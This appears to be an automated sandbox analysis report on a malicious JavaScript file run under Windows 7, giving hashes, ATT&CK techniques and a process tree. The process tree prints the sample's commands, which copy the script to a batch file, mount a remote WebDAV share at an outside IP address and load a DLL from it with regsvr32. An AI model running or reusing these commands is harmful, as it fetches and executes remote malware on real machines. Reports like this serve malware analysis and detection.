bee6bffb75a261513367d6739e90d644311509fbd4c1e3ad1bdea00bf7055d72

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 07:34

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General

Target

23532216321879230263.js
Size

5KB
MD5

4c4f887f762f7ce1103069246cf8d459
SHA1

1354fc193631ac3dd59d34e70635604a390f803f
SHA256

5fc38b7e8a29ac87dd06eaafcef47cba1df58ef7f59c3dc301e9efdcf2b193f7
SHA512

a25717c834fc3b89f8335abf682f5c0cc8755956abf0b90f2e15448d36c626be056a489e0b9221128e5241a0b7e67126fe0c9183d114fe84ef4455be376d0fa2
SSDEEP

96:aRq67SVjY9YjnPiYjMaLnHi0bfJeitL5OB5rqTVakxqTVx:av4+wiZWnHi0bJeid5OzqT4kxqT/

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2756	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 2380	2368	wscript.exe	30
PID 2368 wrote to memory of 2380	2368	wscript.exe	30
PID 2368 wrote to memory of 2380	2368	wscript.exe	30
PID 2380 wrote to memory of 3048	2380	cmd.exe	32
PID 2380 wrote to memory of 3048	2380	cmd.exe	32
PID 2380 wrote to memory of 3048	2380	cmd.exe	32
PID 2380 wrote to memory of 2756	2380	cmd.exe	33
PID 2380 wrote to memory of 2756	2380	cmd.exe	33
PID 2380 wrote to memory of 2756	2380	cmd.exe	33
PID 2380 wrote to memory of 2756	2380	cmd.exe	33
PID 2380 wrote to memory of 2756	2380	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\23532216321879230263.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\23532216321879230263.js" "C:\Users\Admin\\ocelss.bat" && "C:\Users\Admin\\ocelss.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:3048
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\198.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\ocelss.bat

Filesize
5KB

MD5
4c4f887f762f7ce1103069246cf8d459

SHA1
1354fc193631ac3dd59d34e70635604a390f803f

SHA256
5fc38b7e8a29ac87dd06eaafcef47cba1df58ef7f59c3dc301e9efdcf2b193f7

SHA512
a25717c834fc3b89f8335abf682f5c0cc8755956abf0b90f2e15448d36c626be056a489e0b9221128e5241a0b7e67126fe0c9183d114fe84ef4455be376d0fa2

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